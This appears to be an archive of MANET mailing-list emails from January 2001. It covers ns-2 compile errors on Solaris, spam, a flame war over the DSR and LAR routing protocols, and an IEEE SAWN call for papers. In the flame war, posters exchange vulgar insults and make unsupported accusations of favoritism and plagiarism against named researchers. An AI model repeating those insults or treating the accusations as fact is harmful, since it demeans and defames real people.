---------------------------------------------------------------------------- > --------------- > ghee@yukon(305)% make > : > : > In file included from random.h:40, > from random.cc:42: > config.h:50: conflicting types for `typedef signed char int8_t' > /usr/include/sys/int_types.h:62: previous declaration as `typedef char > int8_t' > random.cc:45: declaration of C function `int srandom(...)' conflicts with > /usr/include/stdlib.h:182: previous declaration `void srandom(unsigned int)' > here > make: *** [random.o] Error 1 > ghee@yukon(306)% > ---------------------------------------------------------------------------- > --------------- > > > From owner-manet@itd.nrl.navy.mil Thu Jan 25 01:59:36 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA14442 for ; Thu, 25 Jan 2001 01:59:36 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id AAA04095 for manet-outgoing; Thu, 25 Jan 2001 00:17:19 -0500 (EST) Received: from nishio-mail.ise.eng.osaka-u.ac.jp (thames.ise.eng.osaka-u.ac.jp [133.1.52.49]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id AAA04087 for ; Thu, 25 Jan 2001 00:17:13 -0500 (EST) Received: from Ghee (d27.ise.eng.osaka-u.ac.jp [133.1.52.27]) by nishio-mail.ise.eng.osaka-u.ac.jp (8.9.3/3.7W-03/30/00) with SMTP id OAA05427; Thu, 25 Jan 2001 14:17:07 +0900 (JST) Message-ID: <006301c0868e$15143de0$1b340185@ise.eng.osakau.ac.jp> From: "wooighee" To: , Cc: Subject: Having problems compiling cmu exten to ns Date: Thu, 25 Jan 2001 14:17:15 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hello, I'm currently trying to build the cmu extensions to ns but I'm running into these problems. At first, I had the following error: In file included from random.h:40, from random.cc:42: config.h:50: conflicting types for `typedef signed char int8_t' /usr/include/sys/int_types.h:62: previous declaration as `typedef char int8_t' random.cc:45: declaration of C function `int srandom(...)' conflicts with /usr/include/stdlib.h:182: previous declaration `void srandom(unsigned int)' here make: *** [random.o] Error 1 Mr. Nitin Nagar suggested that I comment out the srandom in random.cc , and then replace the config.h file with the ns-2's own config.h. That did, in fact, correct the above errors (thanks Nagar), but now I get another error in the same vein: c++ -c -I. -I./cmu -I./cmu/dsr -I./cmu/dsdv -I/usr/local/include -I/usr/loca l/GNU/include/g++ -I/usr/local/GNU/sparc-sun-solaris2.5/include -I/usr/local /GNU/lib/gcc-lib/sparc-sun-solaris2.5/2.7.2.3/include/sys -I../TclCL -I../ot cl -I/home/thames/wooighee/simu1/ns-allinone-2.1b3/ns-src/../tk8.0/generic - I../tcl8.0/generic -DNO_TK -DTCLCL_CLASSINSTVAR -DNDEBUG -mv8 -msupersparc -D__svr4__ -DUSE_SHM -DHAVE_LIBTCLCL1_0B5 -DHAVE_TCLCL_H -DHAVE_LIBOTCL1_0A 2 -DHAVE_OTCL_H -DHAVE_LIBTK8_0 -DHAVE_TK_H -DHAVE_LIBTCL8_0 -DHAVE_TCL_H -D abort=_ABORT -DMONARCH -g -Wall -o random.o random.cc c++ -c -I. -I./cmu -I./cmu/dsr -I./cmu/dsdv -I/usr/local/include -I/usr/loca l/GNU/include/g++ -I/usr/local/GNU/sparc-sun-solaris2.5/include -I/usr/local /GNU/lib/gcc-lib/sparc-sun-solaris2.5/2.7.2.3/include/sys -I../TclCL -I../ot cl -I/home/thames/wooighee/simu1/ns-allinone-2.1b3/ns-src/../tk8.0/generic - I../tcl8.0/generic -DNO_TK -DTCLCL_CLASSINSTVAR -DNDEBUG -mv8 -msupersparc -D__svr4__ -DUSE_SHM -DHAVE_LIBTCLCL1_0B5 -DHAVE_TCLCL_H -DHAVE_LIBOTCL1_0A 2 -DHAVE_OTCL_H -DHAVE_LIBTK8_0 -DHAVE_TK_H -DHAVE_LIBTCL8_0 -DHAVE_TCL_H -D abort=_ABORT -DMONARCH -g -Wall -o rng.o rng.cc rng.cc:53: declaration of C function `int gettimeofday(struct timeval *, struct timezone *)' conflicts with /usr/include/sys/time.h:389: previous declaration `int gettimeofday(struct timeval *, void *)' here make: *** [rng.o] Error 1 I'm not sure if I should just go around each .cc file, commenting out each declaration that has a conflict. Is this the right approach? It seems rather strange for me to have to do this. I did in fact try this: 1.) First, I commented out line 53 of rng.cc due to a conflict with timeofday function 2.) Second, I edited cmu/debug.h to include because in debug.h u_int32_t was undeclared. Finally, I get the following error: cmu/debug.h: In method `HashSet::HashSet(char *)': In file included from packet.h:82, from agent.h:40, from cmu/tora/tora.cc:6: cmu/debug.h:54: warning: implicit declaration of function `int bzero(...)' cmu/tora/tora.cc: In method `int toraAgent::command(int, const char *const *)': cmu/tora/tora.cc:79: `index' undeclared (first use this function) cmu/tora/tora.cc:79: (Each undeclared identifier is reported only once cmu/tora/tora.cc:79: for each function it appears in.) cmu/tora/tora.cc: In method `void toraAgent::recvTORA(class Packet *)': cmu/tora/tora.cc:275: warning: unused variable `struct hdr_ip * ih' cmu/tora/tora.cc: In method `void toraAgent::recvCLR(class Packet *)': cmu/tora/tora.cc:613: `index' undeclared (first use this function) make: *** [cmu/tora/tora.o] Error 1 I'm at a lost to what to do. I'm compiling on Solaris 2.5.x.5 with gcc compiler version gcc version 2.8.1 Any help would be greatly appreciated, I've been working on compiling this program for the past whole week with little progress. It is driving me nuts. Sincerlely yours, Ghee wooighee@ise.eng.osaka-u.ac.jp From owner-manet@itd.nrl.navy.mil Thu Jan 25 11:16:29 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02781 for ; Thu, 25 Jan 2001 11:16:28 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id JAA11831 for manet-outgoing; Thu, 25 Jan 2001 09:35:37 -0500 (EST) Received: from usc.edu (usc.edu [128.125.253.136]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id JAA11823 for ; Thu, 25 Jan 2001 09:35:34 -0500 (EST) Received: from pollux.usc.edu (kunchanl@pollux.usc.edu [128.125.7.29]) by usc.edu (8.9.3.1/8.9.3/usc) with ESMTP id GAA14827; Thu, 25 Jan 2001 06:35:27 -0800 (PST) Received: from localhost (kunchanl@localhost) by pollux.usc.edu (8.9.3.1/8.9.3/usc) with ESMTP id GAA04566; Thu, 25 Jan 2001 06:35:27 -0800 (PST) Date: Thu, 25 Jan 2001 06:35:26 -0800 (PST) From: kunchanl To: wooighee cc: ns-users@isi.edu, manet@itd.nrl.navy.mil, nagar@cs.unr.edu Subject: Re: [ns] Having problems compiling cmu exten to ns In-Reply-To: <006301c0868e$15143de0$1b340185@ise.eng.osakau.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk You might want to take a look at NS INSTALLATION PROBLEMS page http://www.isi.edu/nsnam/ns/ns-problems.html (and search for random) and have you tried to use the latest version of ns? (since this problem was reported in ns-2.1b4) Kun-chan Lan On Thu, 25 Jan 2001, wooighee wrote: > Hello, > > I'm currently trying to build the cmu extensions to ns but I'm running into > these problems. At first, I had the following error: > > In file included from random.h:40, > from random.cc:42: > config.h:50: conflicting types for `typedef signed char int8_t' > /usr/include/sys/int_types.h:62: previous declaration as `typedef char > int8_t' > random.cc:45: declaration of C function `int srandom(...)' conflicts with > /usr/include/stdlib.h:182: previous declaration `void srandom(unsigned > int)' > here > make: *** [random.o] Error 1 > > Mr. Nitin Nagar suggested that I comment out the srandom in random.cc , and > then replace the config.h file with the ns-2's own config.h. > > That did, in fact, correct the above errors (thanks Nagar), but now I get > another error in the same vein: > > c++ -c -I. -I./cmu -I./cmu/dsr -I./cmu/dsdv -I/usr/local/include -I/usr/loca > l/GNU/include/g++ -I/usr/local/GNU/sparc-sun-solaris2.5/include -I/usr/local > /GNU/lib/gcc-lib/sparc-sun-solaris2.5/2.7.2.3/include/sys -I../TclCL -I../ot > cl -I/home/thames/wooighee/simu1/ns-allinone-2.1b3/ns-src/../tk8.0/generic - > I../tcl8.0/generic -DNO_TK -DTCLCL_CLASSINSTVAR -DNDEBUG -mv8 -msupersparc > -D__svr4__ -DUSE_SHM -DHAVE_LIBTCLCL1_0B5 -DHAVE_TCLCL_H -DHAVE_LIBOTCL1_0A > 2 -DHAVE_OTCL_H -DHAVE_LIBTK8_0 -DHAVE_TK_H -DHAVE_LIBTCL8_0 -DHAVE_TCL_H -D > abort=_ABORT -DMONARCH -g -Wall -o random.o random.cc > c++ -c -I. -I./cmu -I./cmu/dsr -I./cmu/dsdv -I/usr/local/include -I/usr/loca > l/GNU/include/g++ -I/usr/local/GNU/sparc-sun-solaris2.5/include -I/usr/local > /GNU/lib/gcc-lib/sparc-sun-solaris2.5/2.7.2.3/include/sys -I../TclCL -I../ot > cl -I/home/thames/wooighee/simu1/ns-allinone-2.1b3/ns-src/../tk8.0/generic - > I../tcl8.0/generic -DNO_TK -DTCLCL_CLASSINSTVAR -DNDEBUG -mv8 -msupersparc > -D__svr4__ -DUSE_SHM -DHAVE_LIBTCLCL1_0B5 -DHAVE_TCLCL_H -DHAVE_LIBOTCL1_0A > 2 -DHAVE_OTCL_H -DHAVE_LIBTK8_0 -DHAVE_TK_H -DHAVE_LIBTCL8_0 -DHAVE_TCL_H -D > abort=_ABORT -DMONARCH -g -Wall -o rng.o rng.cc > > rng.cc:53: declaration of C function `int gettimeofday(struct timeval *, > struct timezone *)' conflicts with > /usr/include/sys/time.h:389: previous declaration `int gettimeofday(struct > timeval *, void *)' here > make: *** [rng.o] Error 1 > > I'm not sure if I should just go around each .cc file, commenting out each > declaration that has a conflict. Is this the right approach? It seems > rather strange for me to have to do this. > > I did in fact try this: > > 1.) First, I commented out line 53 of rng.cc due to a conflict with > timeofday function > 2.) Second, I edited cmu/debug.h to include because in debug.h > u_int32_t was undeclared. > > Finally, I get the following error: > > cmu/debug.h: In method `HashSet::HashSet(char *)': > In file included from packet.h:82, > from agent.h:40, > from cmu/tora/tora.cc:6: > cmu/debug.h:54: warning: implicit declaration of function `int bzero(...)' > cmu/tora/tora.cc: In method `int toraAgent::command(int, const char *const > *)': > cmu/tora/tora.cc:79: `index' undeclared (first use this function) > cmu/tora/tora.cc:79: (Each undeclared identifier is reported only once > cmu/tora/tora.cc:79: for each function it appears in.) > cmu/tora/tora.cc: In method `void toraAgent::recvTORA(class Packet *)': > cmu/tora/tora.cc:275: warning: unused variable `struct hdr_ip * ih' > cmu/tora/tora.cc: In method `void toraAgent::recvCLR(class Packet *)': > cmu/tora/tora.cc:613: `index' undeclared (first use this function) > make: *** [cmu/tora/tora.o] Error 1 > > I'm at a lost to what to do. > > I'm compiling on Solaris 2.5.x.5 with gcc compiler version gcc version 2.8.1 > > Any help would be greatly appreciated, I've been working on compiling this > program for the past whole week with little progress. It is driving me > nuts. > > Sincerlely yours, > > Ghee > wooighee@ise.eng.osaka-u.ac.jp > From owner-mmnet@itd.nrl.navy.mil Thu Jan 25 22:18:16 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA15016 for ; Thu, 25 Jan 2001 22:18:16 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA04082 for mmnet-outgoing; Thu, 25 Jan 2001 20:47:23 -0500 (EST) Received: from mail4.virtualscape.com (imail4.virtualscape.com [209.213.109.168] (may be forged)) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA04077 for ; Thu, 25 Jan 2001 20:47:21 -0500 (EST) Received: from shally [64.128.116.33] by mail4.virtualscape.com (SMTPD32-6.04) id AF31505300C0; Thu, 25 Jan 2001 20:13:21 -0500 Reply-To: From: "shally" To: Subject: URGENT Shally Steckerl's new email address is shally@jobmachine.net Date: Thu, 25 Jan 2001 18:10:35 -0700 Message-ID: <006701c08734$caaa9540$6501a8c0@shally> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0068_01C086FA.1E4BBD40" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-mmnet@itd.nrl.navy.mil Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0068_01C086FA.1E4BBD40 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Just a final reminder that I've changed addresses - shally@psn.net is GONE. Please add shally@jobmachine.net to your address book. We launched JobMachine, Inc. and finally have a complete website at www.jobmachine.net I've also updated our personal website which is now at http://members.telocity.com/~shalomsteckerl/. Its a work in progress! Thanks! ------=_NextPart_000_0068_01C086FA.1E4BBD40 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Just a = final=20 reminder that I've changed addresses - shally@psn.net is GONE. =
 
Please = add shally@jobmachine.net to = your=20 address book.
 
We = launched=20 JobMachine, Inc. and finally have a complete website at www.jobmachine.net =
I've = also updated=20 our personal website which is now at http://members.telo= city.com/~shalomsteckerl/.=20 Its a work in progress!
 
Thanks!
 
 
 
------=_NextPart_000_0068_01C086FA.1E4BBD40-- From owner-manet@itd.nrl.navy.mil Fri Jan 26 14:22:53 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19116 for ; Fri, 26 Jan 2001 14:22:51 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA19112 for manet-outgoing; Fri, 26 Jan 2001 11:17:23 -0500 (EST) Received: from web11402.mail.yahoo.com (web11402.mail.yahoo.com [216.136.131.232]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id LAA19097 for ; Fri, 26 Jan 2001 11:17:07 -0500 (EST) Message-ID: <20010126161706.33107.qmail@web11402.mail.yahoo.com> Received: from [199.77.145.141] by web11402.mail.yahoo.com; Fri, 26 Jan 2001 08:17:06 PST Date: Fri, 26 Jan 2001 08:17:06 -0800 (PST) From: Tom Hello Subject: Re: DSR/LAR Issue To: heylamer@m6net.fr Cc: manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Oh wow.. This is a MANET list talking about weakness of LAR. I can't believe this French chap is using such terrible words. He has to be kept away from this list. In addition to his english, he better polishes up his manners.. I want to hear more who are aware of LAR work. --- heylamer@m6net.fr wrote: > Hey jackass, take some lessons in English before you > go off spouting your > conspiracy theories about people with intelligent > things to say. Don't you > have anything better to do than creaming your pants > typing the next thing > that's "sure to get to them". Nobody has time to > listen to some 14 year old > mp3-warez-porn-tew-3l33+-4u, > check-me-out-mom-i-can-email ass pirate who > thinks he's got something to say. > > Why don't you go wack off instead of sending this > kind of crap. > > thanks for your time, dickweed. > > vendredi, le 19 jan 2001 ` 21h28 -0800, Tom Hello a > icrit : > > > > --- Dave Johnson wrote: > > > Tom, > > > > > > I've resisted replying to your earlier messages, > but > > > I think its time > > > I joined this discussion. I think your > criticism of > > > Nitin's > > > publications and NSF grants is quite unfair. If > you > > > have evidence of > > > actual favoritism toward people who base work on > DSR > > > or AODV, please > > > share it with us; otherwise, your accusations > are > > > unfounded and > > > without merit. > > >============= > > Oh yes, I do. I think it is clear to people in > > this community that you and another guy > specifically > > make it hard for people who do not support your > > protocol. In terms of publications, it is very > > clear too. > > > > > > > > > > In the paritcular case of people basing their > work > > > on DSR, let me > > > assure you that (as the leader of the Monarch > > > Project that designed > > > DSR) this adds no special "favor" to the work in > my > > > opinion. On the > > > contrary, if anything, I think this raises the > bar > > > with me for such > > > work, since I care a lot about the protocol and > its > > > future and don't > > > want "bad" work based on top of DSR. > > > > That is one problem of you. Instead of being > > objective and open to other NEW and GOOD > protocols, > > you hammer them just because they are not > > DSR compliant. I think that is not a wise move > > at all. You cannot force people to accept you > > protocol just because of your position at > > a special interest group or in a conference. > > > > >LAR, however, > > > I believe is good > > > work, for its stated application and purpose of > > > helping to reduce the > > > overall routing overhead in the environments for > > > which the protocol > > > was designed. Nitin has correctly described the > > > protocol's advantages > > > and limitations. > > > > No he did not! In fact, he shy away from the > > truth limitations of location based routing. > > As I have said, LAR did not consider signal > > connectivity - plain location co-ordinates > > just don't fly. A lot of defense and commercial > > folks would agree with me on this! He has to > > admit to the deficiency and improbe further, > > not denying them! > > > > > > > > And while I'm writing a message to you, let me > go > > > back to an earlier > > > message in which you said "The DSR draft > constantly > > > copys and adds > > > methods from other people to be included in > theirs, > > > which is > > > ridiculous." Perhaps you could explain what you > > > mean by this. > > > > OH COME ON! THIS IS PLAIN CLEAR CUT. YOU KNOW > > WHAT YOU HAVE DONE AND SO DO THE REST WHO > > ARE AWARE OF ON-GOING WORK ON AD HOC. DO NOT > > CLAIM THINGS THAT WERE NOT ORIGINAL PROPOSED > > AND ADDRESS BY YOU. > > > > > > > If > > > there are methods that you believe we have > copied > > > from other people, > > > please identify them and we will appropriately > > > acknowledge them in > > > future DSR drafts and papers; otherwise, again, > your > > > accusations are > > > unfounded and without merit. > > > > AGAIN< THIS IS CLEAR CUT & I DO NOT BELIEVE > > YOU WILL EVER ADMIT TO THESE BUT PEOPLE KNOW. > > > > WITH YOUR PERSONALITY OF GOING AROUND "HAMMERING" > > PEOPLE, YOU DO NOT DESERVE TO KNOW PEOPLE's > > IDENTITY. YOU PROPBABLY NEED TO RETHINK YOUR > > APPROACH TO THINGS AND PEOPLE AROUND YOU. > > > > TOM > > > > > > > > > And further, Tom, perhaps you could give the > group a > > > little > > > information aboutl your own background and > > > activities in the area of > > > ad hoc networking. You know all of the other > people > > > involved in this > > > discussion -- through our identifiable email > > > addresses and our names > > > and other contact information on the published > > > Internet-Drafts and > > > other papers that you criticize. In contrast, > all > > > that you have > > > identified yourself so far with is a free (and > > > easily anonymous) Yahoo > > > email account. > > > > > > Dave > > > > > > > > > >Nitin: I don't think you should implement LAR > > > (which > > > >is not a protocol as you claim) with DSR! You > > > clearly > > > >exhibit some form of political bias. > > > > > > > >Is that related to your MobiHOC conference in > some > > > >way or is that related to your paper > acceptance? I > > > >realize you publish things related to DSR and > AODV > > > - > > > >clearly you are trying to gather "favor" from > those > > > >folks/people. > > > > > > > >Does that explain how you get your papers > published > > > in > > > > > > > >MOBICOM (and you constantly published there) > and > > > >your NSF grants too?? Man.. this is bad... > > > > > > > > > > >===================================================== > > > >--- Tom Hello wrote: > > > >> Oh you (nitin)... About LAR/LAM - there are > many > > > >> flaws > > > >> in location based routing. Your original > proposal > > > >> does not take into account connection/signal > > > >> propagation properties, just location which > is > > > >> wrong. > > > >> None of LAR/LAM have been implemented and > tested > > > >> in real systems. You should do it since you > > > started > > > >> it. > === message truncated === __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From owner-manet@itd.nrl.navy.mil Fri Jan 26 14:22:58 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19127 for ; Fri, 26 Jan 2001 14:22:54 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA18979 for manet-outgoing; Fri, 26 Jan 2001 11:14:06 -0500 (EST) Received: from web11403.mail.yahoo.com (web11403.mail.yahoo.com [216.136.131.233]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id LAA18972 for ; Fri, 26 Jan 2001 11:13:58 -0500 (EST) Message-ID: <20010126161359.38376.qmail@web11403.mail.yahoo.com> Received: from [199.77.145.141] by web11403.mail.yahoo.com; Fri, 26 Jan 2001 08:13:59 PST Date: Fri, 26 Jan 2001 08:13:59 -0800 (PST) From: Tom Hello Subject: RE: DSR/LAR Issue To: "Groten, D." Cc: manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Where did you learn about manners? I can't believe you are from Holland...Anyhow, you did not address the weakness I highlighted about LAR. Are you following MANET work at all?? --- "Groten, D." wrote: > Hi Tom, > > I feel compelled to comment about your postings on > the MANET list. As a > complete outsider from the discussion up to now, I > would like to make it > clear to you that also I feel your postings are not > appropriate for a > professional (if that's what you are) and for a > constructive technical > dialog on the MANET topics. > > Your posts break all rules of decency and > netetiquette. One does not accuse > people without proof, asking them in turn to prove > their innocence. One does > not have to use harsh language and SHOUT on a > technical mailing list. And > being proud of the US as a country of free speech > does not justify abusing > that freedom and publicly tarnishing someone's > professional reputation > without grounds. > > I would support a motion to have you banished from > the mailing list if > asked, which shows you that also other unbiased > "people" as you put it do > not support your actions. > > Please think about it, start behaving professionally > and rejoin the > discussions once you have accepted to change the > tone of your postings. > > Dirk. > > ------------------------------------------------------------------ > dr D. Groten (Dirk) KPN Research > ------------------------------------------------------------------ > > P. O. Box 421 Tel: +31 6 53747220 > 2260 AK Leidschendam Fax: +31 70 3326477 > The Netherlands E-mail: > d.groten@kpn.com > > -----Original Message----- > From: Tom Hello [mailto:cyberspacetom@yahoo.com] > Sent: zaterdag 20 januari 2001 6:28 > To: Dave Johnson > Cc: Nitin H Vaidya; manet@itd.nrl.navy.mil > Subject: Re: DSR/LAR Issue > > > > --- Dave Johnson wrote: > > Tom, > > > > I've resisted replying to your earlier messages, > but > > I think its time > > I joined this discussion. I think your criticism > of > > Nitin's > > publications and NSF grants is quite unfair. If > you > > have evidence of > > actual favoritism toward people who base work on > DSR > > or AODV, please > > share it with us; otherwise, your accusations are > > unfounded and > > without merit. > >============= > Oh yes, I do. I think it is clear to people in > this community that you and another guy specifically > make it hard for people who do not support your > protocol. In terms of publications, it is very > clear too. > > > > > > In the paritcular case of people basing their work > > on DSR, let me > > assure you that (as the leader of the Monarch > > Project that designed > > DSR) this adds no special "favor" to the work in > my > > opinion. On the > > contrary, if anything, I think this raises the bar > > with me for such > > work, since I care a lot about the protocol and > its > > future and don't > > want "bad" work based on top of DSR. > > That is one problem of you. Instead of being > objective and open to other NEW and GOOD protocols, > you hammer them just because they are not > DSR compliant. I think that is not a wise move > at all. You cannot force people to accept you > protocol just because of your position at > a special interest group or in a conference. > > >LAR, however, > > I believe is good > > work, for its stated application and purpose of > > helping to reduce the > > overall routing overhead in the environments for > > which the protocol > > was designed. Nitin has correctly described the > > protocol's advantages > > and limitations. > > No he did not! In fact, he shy away from the > truth limitations of location based routing. > As I have said, LAR did not consider signal > connectivity - plain location co-ordinates > just don't fly. A lot of defense and commercial > folks would agree with me on this! He has to > admit to the deficiency and improbe further, > not denying them! > > > > > And while I'm writing a message to you, let me go > > back to an earlier > > message in which you said "The DSR draft > constantly > > copys and adds > > methods from other people to be included in > theirs, > > which is > > ridiculous." Perhaps you could explain what you > > mean by this. > > OH COME ON! THIS IS PLAIN CLEAR CUT. YOU KNOW > WHAT YOU HAVE DONE AND SO DO THE REST WHO > ARE AWARE OF ON-GOING WORK ON AD HOC. DO NOT > CLAIM THINGS THAT WERE NOT ORIGINAL PROPOSED > AND ADDRESS BY YOU. > > > > If > > there are methods that you believe we have copied > > from other people, > > please identify them and we will appropriately > > acknowledge them in > > future DSR drafts and papers; otherwise, again, > your > > accusations are > > unfounded and without merit. > > AGAIN< THIS IS CLEAR CUT & I DO NOT BELIEVE > YOU WILL EVER ADMIT TO THESE BUT PEOPLE KNOW. > > WITH YOUR PERSONALITY OF GOING AROUND "HAMMERING" > PEOPLE, YOU DO NOT DESERVE TO KNOW PEOPLE's > IDENTITY. YOU PROPBABLY NEED TO RETHINK YOUR > APPROACH TO THINGS AND PEOPLE AROUND YOU. > > TOM > > > > And further, Tom, perhaps you could give the group > a > > little > > information aboutl your own background and > > activities in the area of > > ad hoc networking. You know all of the other > people > > involved in this > > discussion -- through our identifiable email > > addresses and our names > > and other contact information on the published > > Internet-Drafts and > > other papers that you criticize. In contrast, all > > that you have > > identified yourself so far with is a free (and > > easily anonymous) Yahoo > > email account. > > > > Dave > > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From owner-manet@itd.nrl.navy.mil Sat Jan 27 03:58:59 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA14452 for ; Sat, 27 Jan 2001 03:58:59 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id CAA07397 for manet-outgoing; Sat, 27 Jan 2001 02:21:06 -0500 (EST) Received: from mail.umma21.net ([211.36.244.100]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id CAA07390 for ; Sat, 27 Jan 2001 02:20:58 -0500 (EST) Received: from lowtech [211.173.74.186] by mail.umma21.net (SMTPD32-6.04) id A46A3DF0414; Sat, 27 Jan 2001 16:10:34 +0900 Message-ID: <031101c08830$128afc00$ba4aadd3@lowtech> From: "all4kyaku" To: Subject: =?iso-2022-jp?B?W0RNXRskQjRaOXE7OiROPylJSiRIRkM7OkoqGyhC?= Date: Sat, 27 Jan 2001 16:08:27 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-2022-jp" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.3018.1300 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by itd.nrl.navy.mil id CAA07393 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit $B$3$s$K$A$O(B? $BFMA3$N%a!<%k@?$K?=$7Lu$4$6$$$^$;$s!#(B $BEvAw$9$k(B $B%$%s%?!<%M%C%H%7%g%C%T%s%0%b!<%k$G$9!#(B $B%$%s%?!<%M%C%H$rDL$7$F%/%l%8%C%H%+!<%I$b$4(B $BMxMQ$G$-JXMx$KCmJ8$,=PMh$F>&IJ$O(B6$BF|0JFb$K$*(B $BEvM8CfN$(B1045-6 http://www.all4kyaku.com $BBeI=(B $B6b6L=J(B $BEEOC(B:81-55-268-6432 FAX :81-55-268-6433 webmaster@all4kyaku.com $BEv$_$G$J$$>l9g$O62$lF~$j$^$9$,(B $BJVAw$7$F$$$?$@$1$l$P$3$l0J>eH/Aw$$$?$7$^$;$s!#(B From owner-manet@itd.nrl.navy.mil Sat Jan 27 13:40:33 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17382 for ; Sat, 27 Jan 2001 13:40:32 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA10993 for manet-outgoing; Sat, 27 Jan 2001 11:45:27 -0500 (EST) Received: from aw163.netaddress.usa.net (aw163.netaddress.usa.net [204.68.24.63]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id LAA10988 for ; Sat, 27 Jan 2001 11:45:25 -0500 (EST) Received: (qmail 12255 invoked by uid 60001); 27 Jan 2001 16:45:24 -0000 Message-ID: <20010127164524.12254.qmail@aw163.netaddress.usa.net> Received: from 204.68.24.63 by aw163 for [199.77.145.141] via web-mailer(34FM.0700.15B.01) on Sat Jan 27 16:45:24 GMT 2001 Date: 27 Jan 2001 11:45:24 EST From: "A.David Scott" To: itc@ieee.org, manet@itd.nrl.navy.mil Subject: Symposium on Ad Hoc Wireless Networks (SAWN) X-Mailer: USANET web-mailer (34FM.0700.15B.01) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id LAA10989 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 8bit ------------------------------------------------------ IEEE Symposium on Ad Hoc Wireless Networks (SAWN) in conjunction with IEEE GLOBECOM 2001 San Antonio, Texas, USA November 25-29, 2001 ------------------------------------------------------ Symposium Chairman Prof. C-K. Toh Electrical & Computer Engineering, Georgia Institute of Technology Fax: 404-894-7468 E-mail: cktoh@ece.gatech.edu IEEE Comsoc Liason Gayle Weisman IEEE Communications Society -------------------------------------------------------- About IEEE SAWN2001 -------------------------------------------------------- The IEEE Symposium on Ad-Hoc Wireless Networks (SAWN2001) is a new and *high quality* technical meeting (to be held as part of GLOBECOM 2001) for researchers to present their latest research work related to the fast evolving field of ad hoc (multihop, adaptive, and self-organizing) wireless networks and pervasive communications. Such networks could have strong potential impact on our daily lives (for example at home and on-the-road) and the way we work. They are also particularly attractive for military and emergency operations due to their fast deployable and self-organizing characteristics. Future ad hoc networks are also capable of supporting multimedia. High quality papers are invited from researchers in academia and industries who are involved in this area of work. -------------------------------------------------------- Topics of Interest Include (but not are limited to): - Ad Hoc Routing Protocols/Algorithms - Ad Hoc Transport Issues - Media Access Techniques/Protocols - Sensor & Data Fusion Ad Hoc Networks - Ad hoc network architectures - Error & Link Control Tecniques - Access & Session Support - Ad Hoc Multicasting Protocols/Algorithms - Service Discovery Algorithms - Low Power Algorithms and Protocols - Quality of Service Issues - Mobile IP with Ad Hoc - Performance of Bluetooth Networks - Integration Issues ------------------------------------------------------------- Instructions for Authors Technical papers should be submitted to the Globecom Committee following the general 